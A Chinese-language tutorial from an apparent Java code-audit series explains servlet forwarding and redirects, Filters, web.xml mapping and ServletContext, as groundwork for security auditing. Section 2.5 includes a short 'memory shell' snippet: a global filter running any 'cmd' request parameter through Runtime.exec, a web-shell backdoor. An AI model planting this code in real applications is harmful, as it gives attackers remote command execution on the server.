java代码审计3之servlet学习(2)

文章目录

  • 1、请求转发和跳转
      • 1.1、转发与重定向
      • 1.2、实现代码
      • 1.3、测试
  • 2、 Filter过滤器
      • 2.1、基本知识
      • 2.2、场景与实现代码
      • 2.3、测试
      • 2.4、请求前/后过滤
      • 2.5、fiter内存马与另一种路由
  • 3、全局变量ServletContext

1、请求转发和跳转

1.1、转发与重定向

其实关注点在于,

转发是指服务器请求另一个页面,将加载好的内容返回前端,

重定向是之客户端跳转的,客户端去加载另一个页面内容,

转发可控的话,可以造成ssrf

重定向可控的话,可以造成url跳转

两个函数,

客户端跳转
	sendRedirect

服务器转发
	getRequestDispatcher

场景,

直接访问main,判断当前的session是否有效,

有效则显示当前用户名,否则使用客户端重定向到登录页面。

登录页面,登录成功的话,服务端加载main内容,一起响应给前端

1.2、实现代码

login.jsp

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>

<form action="/login" method="post">
    账号:<input name="username" type="text"><br>
    密码:<input name="password" type="text"><br>
    <input type="submit" value="提交">
</form>

</body>
</html>

login.java

package com.example.demo;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.util.Map;
@WebServlet("/login")
public class login extends HttpServlet {


    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //⾸先设置⼀下响应类型
        resp.setContentType("text/html");
        resp.setCharacterEncoding("utf-8");
        //获取POST请求携带的表单数据
        Map<String, String[]> map = req.getParameterMap();
        //判断表单是否完整
        if(map.containsKey("username") && map.containsKey("password")) {
            String username = req.getParameter("username");             //获取username值
            String password = req.getParameter("password");             //获取password值
            HttpSession session = req.getSession();                         //创建session

            if(username.equals("admin" )&& password.equals("123456")){      //判断账号和密码
                session.setAttribute("user","admin");                   //设置session值
                resp.getWriter().write("登录成功!");
                req.getRequestDispatcher("/main").forward(req,resp);        //转发main⻚⾯
            }else {
                resp.getWriter().write("账号或密码不正确!");
            }
        }else {
            resp.getWriter().write("错误,您的表单数据不完整!");
        }
    }
}

main.java

package com.example.demo;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
@WebServlet("/main")
public class main extends HttpServlet {
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.setContentType("text/html;charset=utf-8");
        resp.setCharacterEncoding("utf-8");
        HttpSession session = req.getSession();
        String user = (String)session.getAttribute("user");
        if(user !=null){
            resp.getWriter().write("欢迎" + user +"访问");
        }else{
            resp.sendRedirect("/login.jsp");
        }
    }
}

1.3、测试

启动项目,未登录直接访问main

当前是未登录的状态,这里是客户端直接跳转到登录页面

java代码审计3之servlet学习(2)_第1张图片
输入正确账户密码,

可以看到,这个“登录成功”并没有返回,
java代码审计3之servlet学习(2)_第2张图片
而是直接返回了main的内容,
java代码审计3之servlet学习(2)_第3张图片

2、 Filter过滤器

2.1、基本知识

Filter过滤器是Servlet2.3中所提供的⼀个过滤请求与响应的对象。 

Filter过滤器既可以对客户端向服务器端发送的请求进⾏过滤,

也可以对服务器端向客户端产⽣的响应进⾏过滤处理。


其实可以理解为开发的“burp”可以对请求包进行处理,也可以对返回数据包进行处理

注意的是,过滤器既可以对全部请求有效,也可以对特定请求量身定做规则。

具体如图,
java代码审计3之servlet学习(2)_第4张图片
在补充下,过滤器是可以组合使用的,即多次过滤,实现过滤器链 ,
如图,
java代码审计3之servlet学习(2)_第5张图片

2.2、场景与实现代码

场景:

正常访问会的话,假设不设置编码浏览器得到的数据是乱码。

我们先定义这样的两个页面test,test1(这两个java文件除了路由代码一致)

先使用过滤器仅仅处理test,使其返回正常;test1返回乱码。

成功之后,

在使用过滤器对全局生效,使得test、test1都返回正常,

test.java

package com.example.demo;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
@WebServlet("/test")
public class test extends HttpServlet {
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        resp.getWriter().write("欢迎访问");
    }
}

test1.java

package com.example.demo;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
@WebServlet("/test1")
public class test extends HttpServlet {
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        resp.getWriter().write("欢迎访问");
    }
}

filter.java

package com.example.demo;

import javax.servlet.FilterChain;
import javax.servlet.ServletException;
import javax.servlet.http.HttpFilter;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebFilter("/test")
public class filter extends HttpFilter {
    //@Override
    protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException {
        req.setCharacterEncoding("utf-8");
        res.setCharacterEncoding("utf-8");
        res.setContentType("text/html;charset=UTF-8");
        chain.doFilter(req, res);
    }
}

2.3、测试

直接启动项目即可,
java代码审计3之servlet学习(2)_第6张图片
此时,修改filter.java的代码,改为全局过滤器
java代码审计3之servlet学习(2)_第7张图片

2.4、请求前/后过滤

过滤器既可以在请求前处理,也可以在返回前处理,具体如何实现呢,

本质就是“  chain.doFilter(req, res); ”的前后问题。

在这个代码前的操作就是,请求前的处理。

在之后就是请求影响前的处理,

如图,

服务器在接受到前端的请求时,先打印111			、、类似bp拦截修改请求

然后执行正常的业务逻辑代码,打印222			、、

在响应返回前,打印333							、、类似bp拦截修改响应

java代码审计3之servlet学习(2)_第8张图片

注意的是filter文件之中必须有“ chain.doFilter(req, res); ”,

假设没有返回就会卡死,类似网站访问,类似burp开启了拦截一样,所有的请求都停下了

2.5、fiter内存马与另一种路由

先说下正常的路由,

一般可以通过注解和配置web.xml配置。

同理,过滤器也可以

上边的场景都是通过类似注解的方式执行的,

下边我们使用web.xml(其实与路由的实现几乎一样)



注释掉filter.java文件中路由的解析,

在web.xml对仅仅对/test路由访问增加过滤器,
    <filter>
        <filter-name>FilterDemo</filter-name>
        <filter-class>com.example.demo.filter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>FilterDemo</filter-name>
        <url-pattern>/test</url-pattern>
    </filter-mapping>

目标正常实现,
java代码审计3之servlet学习(2)_第9张图片

在说下内存马,含义不在赘述,

直接上代码,上边的都理解的话,这里就是秒懂,


修改下filter的注解,使其全局生效,然后添加命令执行的代码即可,
        if(req.getParameter("cmd")!=null){
            Runtime.getRuntime().exec(req.getParameter("cmd"));
        }

java代码审计3之servlet学习(2)_第10张图片

当然,这种需要修改或者添加Filter⽂件上传到⽹站⽬录上⽽且容易被发现。

实际上可以通过反射动态注册Filter执⾏内存⻢,后续在说。

3、全局变量ServletContext

ServletContext全局唯⼀,它是属于整个Web应⽤程序的,

我们可以通过getServletContext()来获取到此对象。
在test.java中定义,
	
~第一次直接访问test1,此时没有访问test,故设置的全局变量未生效
	
	故key1与key2都是null

	而test就没有定义,所以会一直是null

~第二次先访问test,此时全局变量key1与key2生效

~然后在访问test1
	
	此时就输出了key1与key2的值

java代码审计3之servlet学习(2)_第11张图片
test.java

package com.example.demo;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
@WebServlet("/test")
public class test extends HttpServlet {
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("222");
        resp.getWriter().write("欢迎访问");

        ServletContext context = getServletContext();
        context.setAttribute("key1", "1111");
        context.setAttribute("key2", "2222");
      		//也可以这么直接设置
        	//getServletContext().setAttribute("key2", "2222");
    }
}

test1.java

package com.example.demo;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;

@WebServlet("/test1")
public class test1 extends HttpServlet {
    @Override
    protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {

        System.out.println(getServletContext().getAttribute("test"));
        System.out.println(getServletContext().getAttribute("key1"));
        String key2 = (String)getServletContext().getAttribute("key2");
        System.out.println(key2);

        resp.getWriter().write("欢迎访问");
    }
}

你可能感兴趣的:(代码审计,java,servlet,学习)